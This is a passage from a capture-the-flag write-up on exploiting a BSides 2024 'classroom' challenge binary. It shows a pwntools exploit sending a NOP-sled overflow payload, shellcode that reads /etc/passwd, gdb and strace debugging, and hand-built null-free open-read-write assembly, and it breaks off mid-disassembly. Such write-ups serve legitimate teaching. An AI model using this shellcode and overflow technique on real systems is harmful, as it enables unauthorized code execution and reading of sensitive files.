0x602040 <ans>: 0x61616161      0x61616162      0x61616163      0x61616164
0x602050 <ans+16>:      0x61616165      0x61616166      0x61616167      0x61616168
0x602060 <ans+32>:      0x61616169      0x6161616a      0x6161616b      0x6161616c
0x602070 <ans+48>:      0x6161616d      0x6161616e      0x6161616f      0x61616170
0x602080 <ans+64>:      0x61616171      0x61616172      0x61616173      0x61616174
0x602090 <ans+80>:      0x61616175      0x61616176      0x61616177      0x0000000a
0x6020a0:       0x00000000      0x00000000      0x00000000      0x00000000
0x6020b0:       0x00000000      0x00000000      0x00000000      0x00000000
pwndbg> disassemble $rip
Dump of assembler code for function ans:
=> 0x0000000000602040 <+0>:     (bad)
   0x0000000000602041 <+1>:     (bad)
   0x0000000000602042 <+2>:     (bad)
   0x0000000000602043 <+3>:     (bad)
   0x0000000000602044 <+4>:     (bad)
...[snip]...
pwndbg> kill
[Inferior 1 (process 33577) killed]
pwndbg> 

Excellent, we can reach our shellcode! Let’s try running something more exciting than a cyclic pattern!

The context of the pwn binary is to read the flag from file from the filesystem (flag.txt). We will try to read /etc/passwd.

The Shellcraft module from Pwntools contains functions for generating shellcode. For example, there is a readfile module we can use. We’ll add it to our sploit.py:

# shellcode = '' # shellcode placeholder
shellcode = asm(pwnlib.shellcraft.amd64.readfile("/etc/passwd", 2))

And run sploit.py again,

~/D/W/b/pwn $ python3 sploit.py LOCAL
[*] '/home/kidd/Desktop/WORK/bsides24/pwn/classroom'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments
[DEBUG] cpp -C -nostdinc -undef -P -I/home/kidd/.local/lib/python3.11/site-packages/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling
    .section .shellcode,"awx"
    .global _start
    .global __start
    _start:
    __start:
    .intel_syntax noprefix
    .p2align 0
        /* Save destination */
        push 2
        pop r8
        /* push b'/etc/passwd\x00' */
        push 0x1010101 ^ 0x647773
        xor dword ptr [rsp], 0x1010101
        mov rax, 0x7361702f6374652f
        push rax
        /* call open('rsp', 'O_RDONLY') */
        push 2 /* 2 */
        pop rax
        mov rdi, rsp
        xor esi, esi /* O_RDONLY */
        syscall
        /* Save file descriptor for later */
        mov rbx, rax
        /* call fstat('rax', 'rsp') */
        mov rdi, rax
        push 5 /* 5 */
        pop rax
        mov rsi, rsp
        syscall
        /* Get file size */
        add rsp, 48
        mov rdx, [rsp]
        /* call sendfile('r8', 'rbx', 0, 'rdx') */
        mov r10, rdx
        push 40 /* 0x28 */
        pop rax
        mov rdi, r8
        mov rsi, rbx
        cdq /* rdx=0 */
        syscall
[DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-fzf2dxop/step2 /tmp/pwn-asm-fzf2dxop/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-fzf2dxop/step3 /tmp/pwn-asm-fzf2dxop/step4
00000000  6a 02 41 58  68 72 76 65  01 81 34 24  01 01 01 01  j·AXhrve│··4$│····│
00000010  48 b8 2f 65  74 63 2f 70  61 73 50 6a  02 58 48 89  H·/etc/pasPj│·XH·│
00000020  e7 31 f6 0f  05 48 89 c3  48 89 c7 6a  05 58 48 89  │·1··│·H··│H··j│·XH·│
00000030  e6 0f 05 48  83 c4 30 48  8b 14 24 49  89 d2 6a 28  │···H│··0H│··$I│··j(
00000040  58 4c 89 c7  48 89 de 99  0f 05 61 61  74 61 61 61  XL··│H···│··aataaa
00000050  75 61 61 61  76 61 61 61  77 61 61 61               uaaavaaawaaa
...[snip]...
[DEBUG] Sent 0x190 bytes:
    00000000  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
    *
    00000080  90 90 90 90  90 90 90 90  0c 09 40 00  00 00 00 00  │····│····│··@·│····│
    00000090  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
    *
    00000190
[*] Switching to interactive mode
[DEBUG] Received 0x3a bytes:
    00000000  57 68 61 74  20 61 72 65  20 79 6f 75  20 64 6f 69  What are you doi
    00000010  6e 67 20 68  65 72 65 3f  21 20 4b 69  64 73 20 61  ng here?! Kids a
    00000020  72 65 20 6e  6f 74 20 61  6c 6c 6f 77  65 64 20 68  re not allowed h
    00000030  65 72 65 21  20 f0 9f 94  9e 0a                     ere! ···│··│
    0000003a
What are you doing here?! Kids are not allowed here! 🔞
[*] Got EOF while reading in interactive
$ 
[DEBUG] Sent 0x1 bytes:
    b'\n'
[*] Process '/home/kidd/Desktop/WORK/bsides24/pwn/classroom' stopped with exit code -11 (SIGSEGV) (pid 36508)
[*] Got EOF while sending in interactive
~/D/W/b/pwn $ 

But we are still crashing. Let’s attach gdb and break at the address of our shellpoint.

~/D/W/b/pwn $ gdb -q ./classroom
...[snip]...
pwndbg> disassemble kids_are_not_allowed_here 
Dump of assembler code for function kids_are_not_allowed_here:
   0x000000000040090c <+0>:     push   rbp
   0x000000000040090d <+1>:     mov    rbp,rsp
   0x0000000000400910 <+4>:     sub    rsp,0x10
   0x0000000000400914 <+8>:     lea    rax,[rip+0x34d]        # 0x400c68
   0x000000000040091b <+15>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000040091f <+19>:    mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400923 <+23>:    mov    rdi,rax
   0x0000000000400926 <+26>:    call   0x400720 <strlen@plt>
   0x000000000040092b <+31>:    mov    rdx,rax
   0x000000000040092e <+34>:    mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400932 <+38>:    mov    rsi,rax
   0x0000000000400935 <+41>:    mov    edi,0x1
   0x000000000040093a <+46>:    call   0x400700 <write@plt>
   0x000000000040093f <+51>:    lea    rdx,[rip+0x2016fa]        # 0x602040 <ans>
   0x0000000000400946 <+58>:    mov    eax,0x0
   0x000000000040094b <+63>:    call   rdx
   0x000000000040094d <+65>:    nop
   0x000000000040094e <+66>:    leave
   0x000000000040094f <+67>:    ret
End of assembler dump.

break at 0x000000000040094b <+63>: call rdx and run sploit.py. GDB will break at call rdx.

pwndbg> b *0x000000000040094b
Breakpoint 1 at 0x40094b
pwndbg> c
Continuing.

Breakpoint 1, 0x000000000040094b in kids_are_not_allowed_here ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────
*RAX  0
 RBX  0x7ffede8dd408 —▸ 0x7ffede8de4f5 ◂— '/home/kidd/Desktop/WORK/bsides24/pwn/classroom'
*RCX  0x7f561a9d14e0 (write+16) ◂— cmp rax, -0x1000 /* 'H=' */
*RDX  0x602040 (ans) ◂— 0x657672685841026a
*RDI  1
*RSI  0x400c68 ◂— push rdi
*R8   4
 R9   7
 R10  7
*R11  0x202
 R12  0
 R13  0x7ffede8dd418 —▸ 0x7ffede8de524 ◂— 'PWD=/home/kidd/Desktop/WORK/bsides24/pwn'
 R14  0x7f561ab24000 (_rtld_global) —▸ 0x7f561ab252c0 ◂— 0
 R15  0
*RBP  0x7ffede8dd2d8 ◂— 0x9090909090909090
*RSP  0x7ffede8dd2c8 ◂— 0x9090909090909090
*RIP  0x40094b (kids_are_not_allowed_here+63) ◂— call rdx
──────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────
  0x40094b <kids_are_not_allowed_here+63>    call   rdx                         <ans>
        rdi: 1
        rsi: 0x400c68 ◂— push rdi
        rdx: 0x602040 (ans) ◂— 0x657672685841026a
        rcx: 0x7f561a9d14e0 (write+16) ◂— cmp rax, -0x1000 /* 'H=' */
 
   0x40094d <kids_are_not_allowed_here+65>    nop    
   0x40094e <kids_are_not_allowed_here+66>    leave  
   0x40094f <kids_are_not_allowed_here+67>    ret    
 
   0x400950 <kinder>                          push   rbp
   0x400951 <kinder+1>                        mov    rbp, rsp
   0x400954 <kinder+4>                        add    rsp, -0x80
   0x400958 <kinder+8>                        mov    dword ptr [rbp - 4], 0
   0x40095f <kinder+15>                       lea    rax, [rip + 0x33d]              RAX => 0x400ca3 ◂— 'Have a nice day!\n'
   0x400966 <kinder+22>                       mov    qword ptr [rbp - 0x10], rax
   0x40096a <kinder+26>                       lea    rax, [rip + 0x347]              RAX => 0x400cb8 ◂— push rsi /* 'Very interesting question! Let me think about it.....' */
────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────
00:0000 rsp 0x7ffede8dd2c8 ◂— 0x9090909090909090
01:0008-008 0x7ffede8dd2d0 —▸ 0x400c68 ◂— push rdi
02:0010 rbp 0x7ffede8dd2d8 ◂— 0x9090909090909090
...         5 skipped
──────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────
  0         0x40094b kids_are_not_allowed_here+63
   1 0x9090909090909090
   2 0x9090909090909090
   3 0x9090909090909090
   4 0x9090909090909090
   5 0x9090909090909090
   6 0x9090909090909090
   7 0x9090909090909090
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Continue execution.

pwndbg> c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x0000000000602040 in ans ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────
 RAX  0
 RBX  0x7ffede8dd408 —▸ 0x7ffede8de4f5 ◂— '/home/kidd/Desktop/WORK/bsides24/pwn/classroom'
 RCX  0x7f561a9d14e0 (write+16) ◂— cmp rax, -0x1000 /* 'H=' */
 RDX  0x602040 (ans) ◂— 0x657672685841026a
 RDI  1
 RSI  0x400c68 ◂— push rdi
 R8   4
 R9   7
 R10  7
 R11  0x202
 R12  0
 R13  0x7ffede8dd418 —▸ 0x7ffede8de524 ◂— 'PWD=/home/kidd/Desktop/WORK/bsides24/pwn'
 R14  0x7f561ab24000 (_rtld_global) —▸ 0x7f561ab252c0 ◂— 0
 R15  0
 RBP  0x7ffede8dd2d8 ◂— 0x9090909090909090
*RSP  0x7ffede8dd2c0 —▸ 0x40094d (kids_are_not_allowed_here+65) ◂— nop 
*RIP  0x602040 (ans) ◂— 0x657672685841026a
──────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────
  0x602040 <ans>       push   2
   0x602042 <ans+2>     pop    r8                             R8 => 2
   0x602044 <ans+4>     push   0x1657672
   0x602049 <ans+9>     xor    dword ptr [rsp], 0x1010101     [0x7ffede8dd2b8] => 6584179
   0x602050 <ans+16>    movabs rax, 0x7361702f6374652f        RAX => 0x7361702f6374652f ('/etc/pas')
   0x60205a <ans+26>    push   rax
   0x60205b <ans+27>    push   2
   0x60205d <ans+29>    pop    rax                            RAX => 2
   0x60205e <ans+30>    mov    rdi, rsp                       RDI => 0x7ffede8dd2b0 ◂— '/etc/passwd'
   0x602061 <ans+33>    xor    esi, esi                       ESI => 0
   0x602063 <ans+35>    syscall 
────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────
00:0000 rsp 0x7ffede8dd2c0 —▸ 0x40094d (kids_are_not_allowed_here+65) ◂— nop 
01:0008-010 0x7ffede8dd2c8 ◂— 0x9090909090909090
02:0010-008 0x7ffede8dd2d0 —▸ 0x400c68 ◂— push rdi
03:0018 rbp 0x7ffede8dd2d8 ◂— 0x9090909090909090
...         4 skipped
──────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────
  0         0x602040 ans
   1         0x40094d kids_are_not_allowed_here+65
   2 0x9090909090909090
   3 0x9090909090909090
   4 0x9090909090909090
   5 0x9090909090909090
   6 0x9090909090909090
   7 0x9090909090909090
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Disassemble instruction at $rip

pwndbg> x/32x $rip
0x602040 <ans>: 0x5841026a      0x65767268      0x24348101      0x01010101
0x602050 <ans+16>:      0x652fb848      0x702f6374      0x6a507361      0x89485802
0x602060 <ans+32>:      0x0ff631e7      0xc3894805      0x6ac78948      0x89485805
0x602070 <ans+48>:      0x48050fe6      0x4830c483      0x4924148b      0x286ad289
0x602080 <ans+64>:      0xc7894c58      0x99de8948      0x6161050f      0x61616174
0x602090 <ans+80>:      0x61616175      0x61616176      0x61616177      0x0000000a
0x6020a0:       0x00000000      0x00000000      0x00000000      0x00000000
0x6020b0:       0x00000000      0x00000000      0x00000000      0x00000000
pwndbg> disassemble $rip
Dump of assembler code for function ans:
=> 0x0000000000602040 <+0>:     push   0x2
   0x0000000000602042 <+2>:     pop    r8
   0x0000000000602044 <+4>:     push   0x1657672
   0x0000000000602049 <+9>:     xor    DWORD PTR [rsp],0x1010101
   0x0000000000602050 <+16>:    movabs rax,0x7361702f6374652f
   0x000000000060205a <+26>:    push   rax
   0x000000000060205b <+27>:    push   0x2
   0x000000000060205d <+29>:    pop    rax
   0x000000000060205e <+30>:    mov    rdi,rsp
   0x0000000000602061 <+33>:    xor    esi,esi
   0x0000000000602063 <+35>:    syscall
   0x0000000000602065 <+37>:    mov    rbx,rax
   0x0000000000602068 <+40>:    mov    rdi,rax
   0x000000000060206b <+43>:    push   0x5
   0x000000000060206d <+45>:    pop    rax
   0x000000000060206e <+46>:    mov    rsi,rsp
   0x0000000000602071 <+49>:    syscall
   0x0000000000602073 <+51>:    add    rsp,0x30
   0x0000000000602077 <+55>:    mov    rdx,QWORD PTR [rsp]
   0x000000000060207b <+59>:    mov    r10,rdx
   0x000000000060207e <+62>:    push   0x28
   0x0000000000602080 <+64>:    pop    rax
   0x0000000000602081 <+65>:    mov    rdi,r8
   0x0000000000602084 <+68>:    mov    rsi,rbx
   0x0000000000602087 <+71>:    cdq
   0x0000000000602088 <+72>:    syscall
   0x000000000060208a <+74>:    (bad)
   0x000000000060208b <+75>:    (bad)
   0x000000000060208c <+76>:    je     0x6020ef
   0x000000000060208e <+78>:    (bad)
   0x000000000060208f <+79>:    (bad)
   0x0000000000602090 <+80>:    jne    0x6020f3
   0x0000000000602092 <+82>:    (bad)
   0x0000000000602093 <+83>:    (bad)
   0x0000000000602094 <+84>:    jbe    0x6020f7
   0x0000000000602096 <+86>:    (bad)
   0x0000000000602097 <+87>:    (bad)
   0x0000000000602098 <+88>:    ja     0x6020fb
   0x000000000060209a <+90>:    (bad)
   0x000000000060209b <+91>:    (bad)
   0x000000000060209c <+92>:    or     al,BYTE PTR [rax]
   0x000000000060209e <+94>:    add    BYTE PTR [rax],al
End of assembler dump.
pwndbg> quit
Detaching from program: /home/kidd/Desktop/WORK/bsides24/pwn/classroom, process 36508
[Inferior 1 (process 36508) detached]
~/D/W/b/pwn $ 

And, we get a segmentation fault although our shellcode is completely intact.

Relatively modern linux kernels

We can run the same exploit via strace to see what exactly is happening. Modify the following in sploit.py function start_local() to strace the binary.

# return process([exe.path] + argv, *a, **kw)
return process('strace ./classroom', shell=True)

You can also comment out context.log_level = 'debug' to get a less cluttered output.

~/D/W/b/pwn $ python3 sploit.py LOCAL
[*] '/home/kidd/Desktop/WORK/bsides24/pwn/classroom'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments
00000000  6a 02 41 58  68 72 76 65  01 81 34 24  01 01 01 01  j·AXhrve│··4$│····│
00000010  48 b8 2f 65  74 63 2f 70  61 73 50 6a  02 58 48 89  H·/etc/pasPj│·XH·│
00000020  e7 31 f6 0f  05 48 89 c3  48 89 c7 6a  05 58 48 89  │·1··│·H··│H··j│·XH·│
00000030  e6 0f 05 48  83 c4 30 48  8b 14 24 49  89 d2 6a 28  │···H│··0H│··$I│··j(
00000040  58 4c 89 c7  48 89 de 99  0f 05 61 61  74 61 61 61  XL··│H···│··aataaa
00000050  75 61 61 61  76 61 61 61  77 61 61 61               uaaavaaawaaa
0000005c
00000000  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
*
00000080  90 90 90 90  90 90 90 90  0c 09 40 00  00 00 00 00  │····│····│··@·│····│
00000090  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
*
00000190
[+] Starting local process '/bin/sh': pid 36911
[*] Paused (press any to continue)
[*] Switching to interactive mode
) = 50
read(0, "y\n", 4)                       = 2
write(1, "Feel free to ask!\n>> ", 21Feel free to ask!
>> )  = 21
read(0, "y\n", 31)                      = 2
write(1, "Very interesting question! Let m"..., 51Very interesting question! Let me think about it..
) = 51
write(1, "\nAlright! Do you have any more q"..., 50
Alright! Do you have any more questions? (y/n)
> ) = 50
read(0, "y\n", 4)                       = 2
write(1, "Enough questions for today class"..., 81Enough questions for today class...
Well, maybe a last one and then we finish!
> ) = 81
read(0, "\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220"..., 332) = 332write(1, "What are you doing here?! Kids a"..., 58What are you doing here?! Kids are not allowed here! 🔞
) = 58
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_ACCERR, si_addr=0x602040} ---
+++ killed by SIGSEGV (core dumped) +++
[*] Process '/bin/sh' stopped with exit code 139 (pid 36911)
Segmentation fault
[*] Got EOF while reading in interactive
$ 
[*] Got EOF while sending in interactive
~/D/W/b/pwn $ 

The si_code sigaction man page states that the SEGV_ACCERR error that happens when accessing 0x602040 (the address of the ans buffer where our shellcode resides) means Invalid permissions for mapped object. In other words, most probably the memory page is not mapped as executable.

sidenote: we cannot ROP our way to change memory permissions due to a) seccomp and b) limited shellcode space (correction: we could actually egghunt it if not for seccomp)

We can verify in gdb that the memory segment from which we are trying to execute our shellcode (0x602000 - 0x603000) is mapped as read, write, private, but not execute:

pwndbg> info proc mappings
process 37032
Mapped address spaces:

          Start Addr           End Addr       Size     Offset  Perms  objfile
            0x400000           0x402000     0x2000        0x0  r-xp   /home/kidd/Desktop/WORK/bsides24/pwn/classroom
            0x601000           0x602000     0x1000     0x1000  r--p   /home/kidd/Desktop/WORK/bsides24/pwn/classroom
            0x602000           0x603000     0x1000     0x2000  rw-p   /home/kidd/Desktop/WORK/bsides24/pwn/classroom   <---
           0x15a5000          0x15c6000    0x21000        0x0  rw-p   [heap]
...[snip]...
pwndbg> 

We can also see that the specific memory segment is part of the .bss section

pwndbg> info file
Symbols from "/home/kidd/Desktop/WORK/bsides24/pwn/classroom".
Native process:
        Using the running image of attached Thread 0x7f440d346740 (LWP 37032).
        While running this, GDB does not access memory from...
Local exec file:
        `/home/kidd/Desktop/WORK/bsides24/pwn/classroom', file type elf64-x86-64.
        Entry point: 0x400760
...[snip]...
        0x0000000000601d98 - 0x0000000000601f98 is .dynamic
        0x0000000000601f98 - 0x0000000000602000 is .got
        0x0000000000602000 - 0x0000000000602010 is .data
        0x0000000000602020 - 0x00000000006020a0 is .bss   <---
...[snip]...
pwndbg> 

So how come .bss section is not executable? This can be debated, but my guess is that this challenge has been created for older kernels.

At some point in spring 2020 there was a patch submitted in the linux kernel that disabled READ_IMPLIES_EXEC, and by proxy the execute permission of - among others - the .bss section. This apparently took effect at kernel 5.8.

Right. How can we proceed? Spin up an ubuntu 18.04 and try the same thing there.

note: it might be possible to enable READ_IMPLIES_EXEC using setarch, but i had no luck in with kali rolling @6.8.11. For example using: setarch x86_64 -v --read-implies-exec ./classroom

user@u1804:~$ uname -a
Linux u1804 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
user@u1804:~$ cat serve.sh
#!/bin/sh
socat \
-v -T120 \
TCP-LISTEN:8000,reuseaddr,fork \
EXEC:"timeout 120 strace ./classroom"
user@u1804:~$ ./serve.sh 

Then run sploit.py again specifing the remote endpoint

~/D/W/b/pwn $ python3 sploit.py 
[*] '/home/kidd/Desktop/WORK/bsides24/pwn/classroom'
...[snip]...
[+] Opening connection to 192.168.13.37 on port 8000: Done
[*] Paused (press any to continue)
...[snip]...

Inspecting output on serve.sh

execve("./classroom", ["./classroom"], 0x7fffe16e2020 /* 30 vars */) = 0
...[snip]...

Alright! Do you have any more questions? (y/n)
> > 2024/08/06 19:05:54.122579  length=2 from=109 to=110
y
"y\n", 4)                       = 2
write(1, "Enough questions for today class"..., 81) = 81
read(0, < 2024/08/06 19:05:54.123127  length=81 from=664 to=744
Enough questions for today class...
Well, maybe a last one and then we finish!
> > 2024/08/06 19:05:54.131643  length=400 from=111 to=510
........................................................................................................................................\f      @....................................................................................................................................................................................................................................................................."\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220"..., 332) = 332
write(1, "What are you doing here?! Kids a"..., 58) = 58
open("/etc/passwd", O_RDONLY)           = 5
fstat(5, < 2024/08/06 19:05:54.140513  length=58 from=745 to=802
What are you doing here?! Kids are not allowed here! ....
 <unfinished ...>)             = ?
+++ killed by SIGSYS (core dumped) +++
timeout: the monitored command dumped core
2024/08/06 19:05:54 socat[8944] E waitpid(): child 8946 exited on signal 31
user@u1804:~$ 

Well, it still crashes.. but for another reason. The very last thing executed was the fstat system call fstat(5, < 2024/08/06 19:05:54.140513 length=58 from=745 to=802. If you recall, that was not in the seccomp allowed system calls, and as such the program got killed.

We also get a signal 31 exit code, confirming it’s a bad system call.

On the upside the open("/etc/passwd", O_RDONLY) succeeded.

We can also confirm it with in gdb. Observe that the same segment is mapped as rwxp now, instead of rw-p.

pwndbg> info proc mappings                                                             
process 4512                                                                           
Mapped address spaces:                                                                                       
                                                                                       
          Start Addr           End Addr       Size     Offset  Perms  objfile          
            0x400000           0x402000     0x2000        0x0  r-xp   /home/user/classroom
            0x601000           0x602000     0x1000     0x1000  r-xp   /home/user/classroom
            0x602000           0x603000     0x1000     0x2000  rwxp   /home/user/classroom   <---

Hand crafting shellcode

We’ll need to craft some shellcode that handles opening a file, reading it, and writing it’s content to stdout.

Lucking enough, the system calls that are allowed by seccomp are read(), open(), write(), and exit().

open()

open() system call opens the file specified by pathname. If the specified file does not exist, it may optionally (if O_CREAT is specified in flags) be created by open(). The return value of open() is a file descriptor, a small, nonnegative integer that is an index to an entry in the process’s table of open file descriptors.

read()

attempts to read up to _count_ bytes from file descriptor _fd_ into the buffer starting at _buf_

write()

write() writes up to count bytes from the buffer starting at buf to the file referred to by the file descriptor fd.

exit()

exit() terminates the calling process “immediately”.

Having in mind the linux kernel system call implementation we need to form our system calls as follows:

 * Registers on entry:
 * rax  system call number
 * rcx  return address
 * r11  saved rflags (note: r11 is callee-clobbered register in C ABI)
 * rdi  arg0
 * rsi  arg1
 * rdx  arg2
 * r10  arg3 (needs to be moved to rcx to conform to C ABI)
 * r8   arg4
 * r9   arg5
 * (note: r12-r15, rbp, rbx are callee-preserved in C ABI)

The simplest asm code implementing these calls looks similar to:

; nasm -f elf64 open-read-write.asm -o open-read-write.o ; ld open-read-write.o -o open-read-write

section .data
    filename db '/etc/passwd', 0  ; Filename to open

section .text
    global _start

_start:
    ; Open the file (sys_open) 
    ; int open(const char *pathname, int flags, ... /* mode_t mode */ ); <-- $rdi = filename , $rsi = flags
    mov rax, 2                          ; syscall number for sys_open
    mov rdi, filename                   ; filename
    mov rsi, 0                          ; flags (O_RDONLY = 0)
    ;   mov rdx, 0                      ; mode (not needed for read())
    syscall
    mov rbx, rax                        ; store file descriptor in rbx

    ; Read the file (sys_read)
    ; ssize_t read(int fd, void buf[.count], size_t count);  <-- $rdi = file descriptor from $rbx, $rsi = where to read into, $rdx = # bytes
    mov rax, 0                          ; syscall number for sys_read
    mov rdi, rbx                        ; file descriptor
    mov rsi, rsp                        ; buffer to read into
    mov rdx, 300                        ; number of bytes to read - 300 in this case
    syscall

    ; Write the buffer to stdout (sys_write)
    ; ssize_t write(int fd, const void buf[.count], size_t count);  <-- $rdi = stdout, $rsi = buffer to write from, $rdx = #bytes
    mov rax, 1                          ; syscall number for sys_write
    mov rdi, 1                          ; file descriptor (stdout)
    ;   mov rsi, rsp                    ; buffer to write from (already there from read())
    ;   mov rdx, rbx                    ; number of bytes to write (already there from read())
    syscall

    ; Exit the program (sys_exit)
    ; [[noreturn]] void _exit(int status);  <-- $rdi = τα ειπαμε
    mov rax, 60                         ; syscall number for sys_exit
    xor rdi, rdi                        ; exit code 0
    syscall

If we compile and run it:

~/D/W/b/pwn $ nasm -f elf64 open-read-write.asm -o open-read-write.o ; ld open-read-write.o -o open-read-write 
~/D/W/b/pwn $ ./open-read-write 
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/⏎                                                                                                                              
~/D/W/b/pwn $ 

Although it works, there are two problems with this shellcode:

  • it produces a lot of null bytes.
  • we cannot easily extract shellcode from it since it uses references to the .data segment.
~/D/W/b/pwn $ objdump -Mintel -D -z open-read-write

open-read-write:     file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
  401000:       b8 02 00 00 00          mov    eax,0x2
  401005:       48 bf 00 20 40 00 00    movabs rdi,0x402000
  40100c:       00 00 00 
  40100f:       be 00 00 00 00          mov    esi,0x0
  401014:       0f 05                   syscall
  401016:       48 89 c3                mov    rbx,rax
  401019:       b8 00 00 00 00          mov    eax,0x0
  40101e:       48 89 df                mov    rdi,rbx
  401021:       48 89 e6                mov    rsi,rsp
  401024:       ba 2c 01 00 00          mov    edx,0x12c
  401029:       0f 05                   syscall
  40102b:       b8 01 00 00 00          mov    eax,0x1
  401030:       bf 01 00 00 00          mov    edi,0x1
  401035:       0f 05                   syscall
  401037:       b8 3c 00 00 00          mov    eax,0x3c
  40103c:       48 31 ff                xor    rdi,rdi
  40103f:       0f 05                   syscall

Disassembly of section .data:

0000000000402000 <filename>:
  402000:       2f                      (bad)
  402001:       65 74 63                gs je  402067 <_end+0x57>
  402004:       2f                      (bad)
  402005:       70 61                   jo     402068 <_end+0x58>
  402007:       73 73                   jae    40207c <_end+0x6c>
  402009:       77 64                   ja     40206f <_end+0x5f>
  40200b:       00                      .byte 0
~/D/W/b/pwn $ 

Let’s rework it. What we are doing here is first moving the filename string to the .text section, writting it to the stack, and then poping it to a register. Also, we include an XOR operation to recover a null byte and properly terminate the filename string.

push 0x00647773 ^ 0x41414141        ; we are pushing "/etc/passwd%00" (backwords due to endianess) ; here "%00dws" XORed with "AAAA";  
xor dword [rsp], 0x41414141         ; we are XORing the pushed value with "AAAA" to get "%00dws" back on stack
mov r14, 0x7361702f6374652f         ; we are moving "/etc/pas" to $r14 
push r14                            ; and pushing it on the stack, 
                                    ; essentially reconstructing the string "/etc/passwd%00" at the address pointed to by $rsp

Additionally, we are substituting op codes that include null bytes to null free equivelants, for example:

~ $ pwn asm -c amd64 "mov eax,0x2"              # FROM
b802000000
~ $ pwn asm -c amd64 "xor rax, rax; mov al, 2"  # TO
4831c0b002
~ $ 

Evantually we can get to something like the below:

; nasm -f elf64 open-read-write.asm -o open-read-write.o ; ld open-read-write.o -o open-read-write

section .text
    global _start

_start:
    ; Open the file (sys_open) 
    ; int open(const char *pathname, int flags, ... /* mode_t mode */ ); <-- $rdi = filename , $rsi = flags
    push 0x00647773 ^ 0x41414141        ; we are pushing "/etc/passwd%00" backwords due to endianess ; here "%00dws" XORed with "AAAA";  
    xor dword [rsp], 0x41414141         ; we are XORing the pushed value with "AAAA" to get "%00dws" back on stack
    mov r14, 0x7361702f6374652f         ; we are moving "/etc/pas" to $r14 
    push r14                            ; and pushing it on the stack, 
                                        ; essentially reconstructing the string "/etc/passwd%00" at the address pointed to by $rsp
    xor rax, rax                        ; nullyfing $rax
    mov al, 2                           ; syscall number for sys_open (2)
    mov rdi, rsp                        ; filename to rdi
    xor rsi, rsi                        ; flags (O_RDONLY = 0)
    syscall
    mov rbx, rax                        ; store file descriptor in rbx

    ; Read the file (sys_read)
    ; ssize_t read(int fd, void buf[.count], size_t count);  <-- $rdi = file descriptor from $rbx, $rsi = where to read into, $rdx = # bytes
    xor rax, rax                         ; syscall number for sys_read (0)
    mov rdi, rbx                         ; file descriptor
    mov rsi, rsp                         ; buffer to read into
    xor rdx, rdx                         ; rdx 0 
    mov dx, 300                          ; number of bytes to read
    syscall

    ; Write the buffer to stdout (sys_write)
    ; ssize_t write(int fd, const void buf[.count], size_t count);  <-- $rdi = stdout, $rsi = buffer to write from, $rdx = #bytes
    xor rax, rax 
    inc al                              ; syscall number for sys_write (1)
    mov dil, 1                          ; file descriptor (stdout)
    ;   mov rsi, rsp                    ; buffer to write from (already there from read())
    ;   mov rdx, rbx                    ; number of bytes to write (already there from read())
    syscall

    ; Exit the program (sys_exit)
    ; [[noreturn]] void _exit(int status);  <-- $rdi = τα ειπαμε
    xor rax, rax
    mov al, 60                          ; syscall number for sys_exit (3c)
    xor rdi, rdi                        ; exit code 0
    syscall

Which allows us to produce null-free shellcode:

~/D/W/b/pwn $ objdump -Mintel -D -z open-read-write 

open-read-write:     file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
  401000:       68 32 36 25 41          push   0x41253632
  401005:       81 34 24 41 41 41 41    xor    DWORD PTR [rsp],0x41414141
  40100c:       49 be 2f 65 74 63 2f    movabs r14,0x7361702f6374652f
  401013:       70 61 73 
  401016:       41 56                   push   r14
  401018:       48 31 c0                xor    rax,rax
  40101b:       b0 02                   mov    al,0x2
